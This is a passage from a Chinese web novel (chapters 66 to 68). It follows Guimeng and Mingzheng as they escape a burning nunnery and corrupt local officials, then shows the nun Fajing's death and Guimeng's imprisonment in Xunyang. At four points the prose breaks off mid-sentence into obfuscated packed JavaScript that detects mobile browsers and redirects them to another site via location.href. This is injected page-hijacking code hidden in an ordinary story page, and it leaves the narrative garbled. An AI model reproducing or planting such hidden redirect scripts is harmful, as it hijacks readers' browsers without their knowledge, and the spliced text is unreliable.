她打定了主意,不管是上天入地,她都要追着明铮而去! 满眼满脸的泪,浓烟熏得她看不清路。烈焰的温度烘得她肌肤通红发痛。 她闷头向前直冲,竟一头撞入一个人的怀里。 抬起头,泪眼模糊,来人不是明铮又是谁? 明铮面色讶然中有些感动,不及多说,一把揽住她,飞快地奔回了后庵。 归梦惊魂未定,她揉了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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归梦被他说得有些害羞,昏黄的灯影下,白如薄玉得双颊漾出红晕,更显娇艳。 她斜眼偷瞧明铮。明铮却怔怔有些出神,不知在想些什么。 她心下又是一阵失落。 忽听地窖后排有女尼惊呼:“原来法净把财宝都藏在这里了!” 众人循声转身,地窖角落里摆放着两口木箱。木箱附近的女尼好奇打开了,内里赫然是灿然夺目的金银珠宝。 另有一女尼说道:“难怪她每次总要亲手照料这花圃,不肯假手于人,原来这是她敛财之处。” “依我看,咱们把这些钱平分了。如今无色庵毁了,咱们连傍身之处都没了,没有钱可怎么活?” “是啊……分了分了!” 归梦听着她们七嘴八舌,烦闷不已,叱道:“现下能不能逃出火场都不可知,你们倒急着分赃了?” 一名女尼不服道:“什么分赃?这钱本来就是法净从我们身上榨来的,我们不过是拿走自己那一份罢了!” “没错,你又怎知道我们以往过得是什么日子?” 归梦轻哼一声不再言语。 她转头看着倒卧在地上的法净,莫名生出一点怜悯,掏出沾了水的手帕给她擦了擦脸和干涸的嘴唇。 66. 覆云雨(二) 法净微微呻吟一声,悠悠醒转过来。 归梦将手帕收起,冷冷道:“你醒啦?” 法净连咳几声,喘息着哑声道:“死不了。” 她衣衫烧破,手背上一块烧伤皮肉焦黑,惨白的面上几抹灰黑,愈发显得气色衰败。 身后一众女尼见法净醒转,便也都讷讷地闭了口。 想来法净平日积威甚深,众女对她怨恨既有,惧怕更多。 归梦想起她对这些女尼以及对自己和紫芽做过的事,余恨难消,“哼”了一声:“你死了才好呢……” 法净倒像是平静了许多,她慢慢盘膝坐下,轻声对归梦说:“谢谢你方才照料我。还有……”她侧首朝明铮欠身俯首下去:“多谢公子的救命之恩。” 陶靖插口道:“法净师太,历过生死想必你也参悟了不少。待这大火燃尽,离得此地,还请你随我做个佐证,王子犯法与庶民同罪,既然太守也是一丘之貉,那我们就告到刺史大人那。再不济,这位明兄是都城建康来的,大不了就闹到太子面前。总能将这班贪官污吏给绳之以法!” 法净轻笑一声:“其实,这无色庵的荒唐是由我一人始。万般罪孽皆归于我也是应当的。”她回忆道:“当初,我不堪丈夫打骂,不想被卖去青楼,逃了出来。一路饥寒交迫,晕倒在这无色庵门口,是老师太救了我。她见我聪明灵巧便收下了我,为我剃度出家。可我凡心未泯,竟被来庵中礼佛的一位富商诱惑,与他勾搭在一起。老师太发现了之后,便活活气死了。那富商对我不过是一时兴起,很快便把我抛诸脑后。我不甘心,又想活下去又吃不得苦头,年老色衰,可又贪图荣华富贵。于是我丧心病狂,想法子收容了附近的一些贫家女,又引富商豪客前来。到后面,我或买或骗,广畜女尼,将无色庵扩大到了如今的规模……” 众人听了她诉说历史都是一脸惊愕。唯有身后一众女尼似乎早已知晓。地窖内沉寂一片。 归梦问道:“那么你又是怎生识得那些水匪的?你们有什么勾结?” “你当这些水匪为何能在浔阳江上横行劫掠?为首的本就是此地的土豪劣绅,得了本地官府默许的。做此无本生意,再拿出三成去孝敬官员。若是有稚龄女子,便转卖于我。当初他们也曾来光顾,给我带来不少生意。我也是因了他们结识了县令、太守。只是后来来无色庵的客商权贵渐多,我怕跌了身价,才不再招待。” 明铮淡淡道:“这些事,到得公堂之上,也烦请你如实陈述。” 法净苦笑一声:“我原有一本账簿记录在册,哪位大人何时造访,花费多少银钱,统统记录在册。可惜,现在付之一炬了。不过我尽数都记在心里。我这条命既是你救的,你叫我如何我都听命便是了。” 紫芽忽道:“上面似乎没有动静了。火是不是灭了?” 靳风请示明铮:“公子,我上去看看。” 明铮道:“小心。” 靳风沿着地窖台阶而上,小心地推开顶上木板,探头看了看,确保无虞才爬了出去。 距离靳风上去已经有一盏茶的时间了。 归梦忍不住道:“怎地还不回来?难道……” 明铮缓缓道:“他定是出事了。我去寻他。”他侧首望向陶靖:“陶兄,烦请你留在此处,这两位姑娘以及这些女尼,烦你看顾。” 陶靖怪道:“明兄,我们一道出去便是了!” 明铮摇摇头:“不成,他们显然是意图杀人灭口,毁了物证再毁人证。纵然正面交锋,也是强龙难压地头蛇。如今他们尚未找到这里,可见并不知这地窖所在。我出去周旋一番,将他们引走。待得夜深人静,你们再伺机逃出便多了几分胜算。” 归梦大急,拉住他道:“别人我不管,你休想丢下我。我绝不让你一个人去!” 明铮冷冷道:“放手。” 归梦双手一道用力攥住他手臂:“我不放。我不让你去送死!要么你杀了我,要么你带我一块去。总之生死我都要和你在一处!” 这些话她早在心里颠倒过千百遍,她不惯说这样肉麻的话。可此时情急之下,竟然毫无顾忌毫无保留地说了出来。 明铮下颌处微微一动,像是咬了咬牙。 “为何你总是这样任性妄为?你还嫌惹的事不够?究竟何时你才能懂事?请你莫要再给旁人添麻烦了。也请你记着,这世上不会总有人在你危急之时出现在你身边救你、保护你!你既然没有能耐自保,早些还家才是正经。” 他深吸一口气,厉声道:“现在,靳风生死攸关,请你发发慈悲,放手,让我去寻他! 这些话如同一道道鞭子一般抽在归梦身上,抽得她耳边嗡嗡作响。 她一怔,不由自主地放开了手。 为什么,为什么他如此狠心?她只是想陪在他身边而已呀!只想与他同生共死,甚至不求他承认她是他什么人。 原来这样都不可以……这样都会让他困扰…… 归梦伏在紫芽怀里哭得肝肠寸断。 法净在旁瞧着,忽地叹道:“真是个傻子……” 归梦抽噎道:“你说……你说什么?” “我说你傻。他对你说出狠话无非是因为他心知此去生死未卜,不愿你一道涉险。他心中放你不下,才会痛斥数落你的错处,要你今后能独立处事。若你于他无关紧要,他带上你又有何难呢?”法净静静道。 归梦琢磨着法净的话,慢慢反应过来。 “你……你说的对!”归梦止住哭声,拭去泪水。她起身环视众人,目光落在紫芽身上:“紫芽,你明白的。我非要去寻他不可。生也好,死也好……” 紫芽打断道:“你对明公子的心,无人比我更清楚啦!可难道咱们的情分就差了吗?”她牢牢攥住归梦的手:“咱们一起出去。我不信他们就张狂至此。” 陶靖附和道:“正是,在下也不愿苟安于此。宁可与明兄共存亡。便是太守又如何,我量他只手遮不了这朗朗青天!” 法净道:“不必争了,他们要的只是我一人。我去便够啦!明公子于我有救命之恩,我决不愿他为我这个罪人有所损伤。”她起身,将破烂的灰色佛衣外袍脱下,走到油灯前,咬破手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明铮转过头来,见他们一行六人被官兵押着走来,目光闪动一瞬,复又回过头去。 官兵回报:“禀告大人,寺中又出来这六人,被我们拿下。” 柴桑县县令放下茶盏,看见人群中的陶靖,笑着招呼一声:“陶大人!真难为您此番以身入局,到我这柴桑县来微服私访……我还真当您是同好呢!”他边说边摇头叹气,似乎格外失望。 陶靖正色道:“陶某便是再放浪不羁,也不敢行此悖伦秽乱的勾当。何况朝廷拨来寻阳郡的款项与粮食,账目每每对不上,在下焉能不疑心探个究竟?” 县令回头看看明铮:“明大人,方才你可是骗了我。你说此处除了你与你的长随,再无旁人了。” 明铮淡淡笑道:“县令大人你不也未曾相信?这么一把火烧下去,寺内还能有活口,大人就不奇怪吗?” 县令笑了:“奇怪什么?这寺中定然有什么机关密道。待我细细查来……” “是,不过既然是有密道,恐怕早已有人脱身了。大人不怕吗?” “我怕什么!怕你们去搬救兵吗?笑话……大不了我就封锁柴桑县所有路口,所有陆路水路……”他絮絮说着,忽然道:“不对,你莫要吓唬我!若是有密道你们早就逃脱了,怎还会老老实实走出来自投罗网?” 归梦啐道:“你当谁都是如你一般的无胆鼠辈?” 67. 解连环 陶靖抚掌赞道:“说得好!‘生亦我所欲也,义亦我所欲也。二者不可兼得,舍生而取义者也’!” 归梦侧眼瞧了瞧陶靖,这书生虽有些呆气,倒是个可爱的好人。 县令骂道:“呸,臭书呆子酸气冲天!什么‘舍生取义’。这柴桑县老子最大,顺我者昌逆我者亡!“他目露凶光:”没功夫和你们废话了,在这世上只有死人才不会泄露秘密。” 明铮接口道:“说得不错,死人确实不会泄露秘密。怕只怕太守大人也是这般想的。如此,不知哪一日,县令大人你也会成为一枚弃子……” 这话极是攻心。 县令免不了有些犹豫。 明铮适时温言道:“在下倒有一计……”说着附耳过去在县令耳边说了几句话。 县令听了,迟疑着点了点头,伸手一招:“把那小子放出来。” 后面官兵推搡着一个人走了上来,面目红肿,正是受了拷打的靳风。 明铮面上仍是笑着,复又对县令道:“大人,还有一事……” 县令不疑有他,再度探身过来。 明铮长臂一舒,右手勒住县令的脖颈将他揽在身前,另一只手迅速将县令身侧的一名官兵手中的刀刃拔了出来。 动作行云流水一气呵成,众人尚未反应过来,县令已被明铮挟持在手中,肥肉堆叠的脖子被雪亮的尖刀抵上。 县令吓得面上的赘肉都抖了三抖,他睁大眼睛颤声道:“明……明大人,我不是已经照你说的做了吗?你说了会保我的,你怎么……” 明铮低声笑道:“没错啊,我现在正是要保你。放心,这只是刀背。若不如此,怎显得你有苦衷呢?来,快下令,把他们都放了……” 县令连连摇头:“不成不成,方才我只答应放了你的随从和这两个丫头,至于法净和陶主簿,他们知晓的内情太多,那是万万不能放的!” 明铮调转手上长刀,利刃迫喉:“你想首鼠两端,明哲保身,恐怕没有如此便宜的事。” 县令哭丧着脸道:“若是走了他二人,我立刻便有杀身之祸。跟眼下被你杀了也无甚分别了!” 明铮笑道:“我杀你作甚?只是你须想清楚了,与谁为伍才是上上之选?你看看太守手下这些官兵,此刻虽为你所用,但是真的听命于你吗?” 县令眼神迷茫扫过一众不敢轻举妄动的官兵,蓦地一咬牙,大声道:“把这几个人都放了!” 为首的官兵一愣,犹疑着应了:“是。” 六人得了自由,快步朝明铮处走去。 明铮右手长刀垂下,左手仍抓着县令的衣襟:“还要劳烦大人陪我们走一趟。” 陶靖的长随走到县令的马车座驾前,跳上车辕,明铮将县令先塞入车里,又将陶靖送上车。他正伸手拉归梦,忽听那为首的官兵大叫一声:“太守大人有令,无色庵内不得有活口,尤其是尼姑,杀!” 那些官兵不料还有此密令,先是愣了愣,继而听命一拥而上。 明铮跳下车,持刀护在车前,大声道:“陶兄,你们先走。” “我不走!”归梦说着跳下车,紫芽也随在身旁。 法净亦道:“说的是,明公子大德,他若不上车,我也是不走的。”说着也随归梦下了车,站在明铮身侧。 县令在车内叫道:“哎哟喂,求求你们,快走吧!再折腾下去,谁也走不了……” 陶靖不耐烦地给了他一拳,瞬间让他闭了嘴。 陶靖大声道:“明兄,你放心,我先将此人安置好,再来接你们!” 马车辘辘疾驰而去。 归梦印象中从未见过明铮显露武艺。 此时这柄极寻常的单刀在他手中竟是虎虎生风,白刃如星垂月落,不过几招交锋就让近前的官兵见了红。 夜幕低垂,寒风吹得明铮的衣衫猎猎。 剩余的官兵一时不敢靠近。这群官兵武艺多是稀松平常,平日安心拿奉,并无战场杀敌的血性。 明铮微微一笑,收了刀势。 归梦瞥见他手上似有一块血迹。 “你受伤了?!” 她抢上前握住他的手低头察看。 明铮淡淡将手抽回:“不是我的血。” 忽听马蹄声阵阵,由远及近。竟是靳风骑着马来了,他自骑了一匹,另外还牵了一匹。 归梦这才想起,原来明铮要县令放了靳风,之后又趁乱挟持县令,众人的注意力全都被吸引住了,自然无人留意靳风悄悄离去了。 明铮催促道:“快上马!” 靳风先拉着紫芽上了自己的马背。 归梦执意要等明铮先上马,她才肯上。 明铮无奈,长腿一迈上了马背,伸手去拉归梦。 忽地又有一声官兵呼喝。“放箭!” 竟真的有羽箭如雨点般射来。 明铮俯身挥刀击飞几根羽箭,归梦忙伸手去拉法净上马。 一波羽箭射尽,官兵重又张弓搭箭。 明铮双腿一夹马腹,策马疾驰而去。 身后是徒步追赶的官兵。 羽箭又急又密。凭空斜刺里又有一支羽箭朝归梦飞来,眼见避无可避。 法净忽地张开双臂将归梦拢住,身子倾斜,堪堪挡住了这一箭。 箭入肉身,痛得她闷哼一声。 “法净!”归梦惊呼。 法净背心中箭,身子无力,立时软软向后倒去,归梦急忙伸手紧拽住她,以防她掉下马去。 明铮双腿用力,口中呼喝一声,马儿疾驰得更快。 归梦听得身后羽箭力道衰减,纷纷落地。 明铮与靳风的骑术均是极佳,很快便将身后的官兵甩掉。 夜色茫茫,五人二骑紧驰一程,确信后方追兵再也追不上了,才停了下来。 眼前一片湖泊,波光淼淼,不知不觉,竟然已到了彭蠡泽旁。 明铮与归梦将法净身子平放于地上。 归梦见那羽箭从背后斜着射入,已贯穿了法净前胸,鲜血沾湿了大片衣裳。 她咬咬牙,颤抖着伸出手去,要将箭矢拔出。 明铮却伸手一格,摇头道:“拔不得。” 原来那箭矢正中肺叶,法净已是呼吸不畅,气若游丝,倘若将箭拔出,恐怕立时就要送了性命。 归梦心中难过,眼圈泛红道:“她是为了救我才……”她虽然被法净囚禁,险些失身,可方才见法净为自己挡了一箭,仇怨相抵,对她早已无仇视之意了。 归梦垂着泪轻声唤道:“法净…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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归梦起身拦在他面前:“你把话说清楚!你方才到底是什么意思?莫非你觉得法净是因我而死的吗?” 明铮终于低头看向她,凝视着她梨花带雨的面庞,有一刹那的心软,却又硬起心肠,目光逐渐变得冰冷:“不错,你若是肯听我的,呆在地窖不要出来寻我,或是随陶靖一同离去,又或是早些上马,也许谁都不会中箭……” 归梦闻言恍如被打了一个耳光,不自觉后退半步,她喃喃道:“原来,你怪我,这全都怪我?” 明铮面色沉沉并不答话。 她再度委屈地哭了。她也不愿意法净为她而死,她也很心痛呀……可是当她爱的人真的以此来责备她时,她却是一点点都经受不住。 从小到大,她何曾受过这样的委屈。唯有在明铮这里,她饱受煎熬。 她泪流满面,直觉得心痛得快要死掉了,哭着哭着却又笑了。 “好好好!如你所说,那么该死的人是我!” 她多盼望明铮这时候能软言安慰她几句,哄哄她,可他却不发一语。 归梦死死盯着他,泪眼猩红,嘴角含着凄楚的笑,一步步朝后退。 紫芽惊叫道:“梦娘,别再朝后走了,快到湖边了!” 归梦绝望地凝视着明铮,心道:既然你这般不在乎我,那么我死了你也一定毫无所谓,绝不会皱一下眉头。 想到这,她猛地转过身,拔腿朝湖水奔去。 68. 春日凉 归梦赌气奔到湖边,毫不犹豫地趟进水中,湖水四溅,双腿一冷,鞋袜已然湿透。 她胸中愤懑委屈满溢,不顾紫芽呼喊,足下丝毫不停歇,继续朝湖心走去。 蓦地,身子腾空,她已被明铮打横抱起朝岸上走去。 她心中一酸,总算他还是在乎她的。眼中眼泪不绝流出,身子却不断挣扎着:“放开我!我死了也不要你管……” 明铮手臂一紧,牢牢抱住她。 月光在湖面投下滟滟光波。 湖光明月辉映,明铮温润剔透的眼中终于现出一丝怜惜,他俯身柔声道:“小梦,别总这样,像个孩子似的……” 归梦伸手一把揽住他的脖颈,用尽全力抱住了他,泣声道:“我本就是个孩子!谁让我还是个孩子的时候便遇上你,爱上了你!我知道,我不如你聪明睿智,事事周全……我任性我幼稚!可你难道就不能等等我,等我长大……无论如何,请你不要讨厌我嫌弃我……求你,求你……” 农家土屋内。 炭火微弱,归梦与紫芽冷得有些瑟缩。 埋葬了法净之后,四人在附近的村落找了一处农家借宿。 这户农家一共就两间土屋,收了他们的银钱,欢欢喜喜地让了其中一间与他们。 紫芽帮着归梦烤干了衣衫鞋袜,从门缝里看了一眼屋外的明铮与靳风,小声对坐在床上的归梦道:“梦娘,我们四个人,却只有这一间屋子一张床,可怎么睡?” 归梦摇摇头:“你便是唤他们进来,他们也是不愿同宿一间的。左右他们不会让自己冻坏身子的……” 她说着叹了口气躺下,法净的死还历历在目,这桩事还未完。 她心中压着事,迷迷糊糊挨着紫芽睡去。不知睡了几时,忽被呼呼钻入门缝的风声闹醒,远处像是有马蹄声点地,如答答落雨之声,忽远忽近。 “明铮!”她一掀薄被猛然坐起:“他走了!他走了!”口中念叨着也顾不得穿鞋,推开屋门便朝外追去。 刚出房门两步,一个人影便拦到她身前,握住她肩膀,轻声道:“可是梦魇了?” 归梦定睛看清楚,眼前确是明铮略带倦色的面庞,又忍不住纵身入怀,嗫嚅道:“我只当你走了……” 明铮送她回屋里躺下。“你且歇着,只怕今夜注定无眠。” 归梦紧张地攥住他的手:“你要做什么?” “你听,他们来了。”马蹄声越来越清晰,如在旷野之中擂鼓。 明铮嘱咐道:“一会儿你与紫芽待在屋里不要出声。他们只是要找我……” 归梦待要拒绝,“我不”两个字已经到了嘴边,可看着明铮的眼神,想起他说过的话,便说不出口了。 “奉太守大人之命,请明大人过府一叙!”屋外火把闪耀,有人扬声道。 归梦急道:“你不要去……” 明铮微笑着抽出手,便起身开门走了出去。 门被掩上,归梦与紫芽听着明铮在门外与几名大汉答话。 片刻后,马蹄声去,一群人消失得无影无踪,就像从没来过一样。 紫芽问归梦:“梦娘,明公子会不会有危险?” 归梦强挤出一个笑,像是在说给自己听:“应当不会,那些人说话尚算客气。何况法净已死,陶靖又带着县令离去了……他们投鼠忌器,应当不会……不会……” 说着说着,她自己也没几分信心。 好不容易挨到天明,她下定决心:“紫芽,我们走,我要去太守府,我要去救他!” “啊?”紫芽一惊,随即微弱地反驳道:“可是,明公子昨夜让我们留在这里……梦娘还是听他的话吧。何况,我们也没有马没有车……” 归梦浑身翻找着值钱的物事,发现唯一值钱的只剩她与紫芽头上的发簪了。 当初带了那么多银钱与珠宝,要么落在水匪手中,要么留在了无色庵中,随大火掩埋。 她越想越气不过,愤愤道:“那些个穷苦人,出门不都是走路吗?我也可以走,大不了就走到寻阳城中去。” 说着,她气鼓鼓地推开门,却见几名官差站在门外严阵以待。 农户家的中年夫妇蹲在一旁瑟瑟发抖。 “你们要做什么?”归梦问。 为首的官差朝屋里瞧了瞧,手一挥:“把这俩女的带走!” “去哪里?是去寻阳见太守吗?”归梦追问。 为首官差“咦”了一声,笑道:“你倒还挺聪明。去寻阳是没错,不过呢,是去下大狱!你当太守是你想见就能见的?” 说着狠狠推搡了紫芽与归梦一把。 归梦瞪他一眼:“走就走,别动手动脚的!不然将来我见了太守,非告你一状不可!” 那官差怒极反笑:“嘿,阶下囚还牙尖嘴利的。囚车上待着去!”说着将归梦与紫芽塞进囚车。他们见二女柔柔弱弱的样子,量她们也不会逃跑,故而连枷锁镣铐都省了。 归梦生平第一次坐囚车,颇觉新奇有趣。 虽说这囚车像个笼子一样,置身其中如同待宰鸡鸭,极具侮辱性,但是四下通风,往来还能观赏道上风光与行人。她忍不住笑出了声。 紫芽怪道:“梦娘,你怎还笑得出来?” 归梦笑个不停:“方才我们不还发愁没有车马可以赶路,这不就有了?”她转头前后望望,续道:“你瞧,这些官差都要徒步而行,咱们却有车可以坐。这怎不值得开怀发笑?” 紫芽叹道:“姑娘又犯病了……再过一个时辰瞧你还笑不笑得出来……” 归梦确实笑不出来了,从晨起到现在,她未喝过一口水,口渴倒也罢了,但是要如厕那真是忍不了。 她探手出笼朝官差招了招:“喂,停一停,我们要如厕!” 官差不耐烦道:“憋着!憋不住就拉身上!”说着,又转过脸去。 “岂有此理……”归梦正要喝骂,紫芽却伸手捂住她嘴。 “这位大哥,烦你通融一下,我们真的忍不住了。”紫芽恳求,说着便拔下头上发钗伸出去递给那为首官差。 那官差眼睛一亮,立马接过,捏在手中仔细瞧了瞧,有些满意地点点头,随即大声道:“都停下,休息片刻再赶路。” 接着让手下打开囚车,将归梦与紫芽放了下来。 他手朝身后的芦苇荡一指:“动作快点,别耍什么花招!” 紫芽赔着笑扶着一脸不满的归梦钻入芦苇荡。 “梦娘,你不是说出门在外能用钱解决的事都是小事吗?何必这般意气用事?”紫芽问。 归梦解好手,整理着衣衫道:“那不是因为那时候银钱足够嘛!再说了,倘若为我办事恭恭敬敬的,即使知道他贪财我也乐得出手大方。可遇上这些欺软怕硬仗势欺人之徒,我便是花一分钱也心疼!” 紫芽叹道:“你自小便是这样的脾气,总爱和人争个输赢对错的。” 归梦嘻嘻笑道:“谁对我好,我心中自是有数。和你我便不争……” 忽听芦苇丛外官差大声催促着:“你俩叽里咕噜说什么呢?完事了就快点出来!” 紫芽压低声道:“我们要不要趁机……” 归梦摇摇头:“逃不掉的。况且咱们身无长物, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894801|171994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒不如索性被他们押送去寻阳城。” 江州寻阳是水陆枢纽,无数官船商船在此中转货资,更有朝廷征战所需的粮草借寻阳码头调遣。 日头高挂,归梦与紫芽挤在狭小的囚车一路入城,自是引来无数行人侧目。 归梦不忘跟紫芽打趣:“这寻阳城不愧是商业重镇,街市繁华,百姓也是见多识广。咱们俩这般招摇过市,竟然没有人朝咱们扔鸡蛋菜叶……” 紫芽闻言哭笑不得:“那是拉去菜市口杀头的犯人才有的待遇吧……” “不对。”归梦认真道:“依我之见,极有可能是百姓见惯了官差抓好人、抓无辜之人……所以嘛,见怪不怪了!” 二人被送入寻阳郡府衙后的监牢。 那为首的官差似乎是拿人手短,隐约动了些恻隐之心,临行前小声对她们道:“自求多福……” 这牢房阴冷潮湿,似乎是最里一间。被押着走来之时,归梦四下打量,发现牢房多有空置,看守监牢的寥寥几个狱卒也一副懒散做派。 紫芽素□□洁,皱着眉挑了处略微干爽些的地方,又将外衣铺在地上,让归梦坐下。 如此挨到傍晚,二人实在支持不住,又是内急又是口渴肚饿。 归梦拍着牢门大声唤来守卫的狱卒:“便是要杀头的犯人也该吃饱喝足吧?为何不给我们吃食?” 狱卒斥道:“叫唤什么?饿上两天死不了人的……”说着骂骂咧咧地转过身去:“老子的薪俸都欠了几个月不曾发,你个阶下囚还想吃饭?” 归梦耳尖听得清清楚楚,她不服,指着斜前方道:“那为何那间牢房的犯人便有吃有喝的?” 狱卒顺着她的手指瞧去,笑了:“你道他是谁?那是寻阳城中顶有钱的富商家的小儿子,你能和他比?” 归梦想起自她入这监牢,那富商之子所在的牢门便不曾关上,狱卒一会儿送恭桶一会儿递水盆手巾。吃的喝的更是流水般地送进去。 她鄙夷道:“有钱便可以在这牢中享受特殊待遇吗?” 她心道:那我还是皇亲国戚呢,说出来不吓死你们。 可惜,说出来这帮人也不会信。 “那是!”那狱卒不无艳羡地看了看那扇牢门,接着絮絮道:“还不止呢,他这牢啊也坐不了几天了,最迟明日就要放他还家了。” 这狱卒许是长日无聊,难得见狱中来了归梦与紫芽这般如花似玉的姑娘,故而格外愿意与之攀谈。 紫芽问道:“这富商家的公子犯了什么罪啊?” 那狱卒嘿嘿一笑,压低声道:“还能是什么?强抢民女,玷辱了人家黄花大闺女的清白呗……不过他老子有钱,朝那苦主家送上几百两,再朝咱太守大人府上送上几千两。他这龟儿子便平安无虞啦!” 归梦与紫芽听得瞠目结舌,半晌说不出话来。 忽听左近另一狱卒走过来小声骂道:“死刘二,你是不是又灌了几口黄汤,小心给人听到拔了你的舌头!” 那叫刘二的狱卒嘻嘻笑着推着那名狱卒走了,转头不忘对归梦和紫芽撂下一句:“我看你俩穿着不俗,若是有余钱,想在牢里舒服点,尽管叫我……” 归梦啼笑皆非。 她扶着监牢的栅栏出神。 自出家门,真是什么怪事都遇上了。如今连这监牢也蹲了,还能有什么更坏的事? 不知怎地,脑中又回响起明铮那句话——“你若是没有能力自保,趁早还家才是正经!” 自保,自保。她不仅要自保,还要去救明铮。必须赶紧想办法! 她瞥见斜前方那扇牢门,忽地计上心来。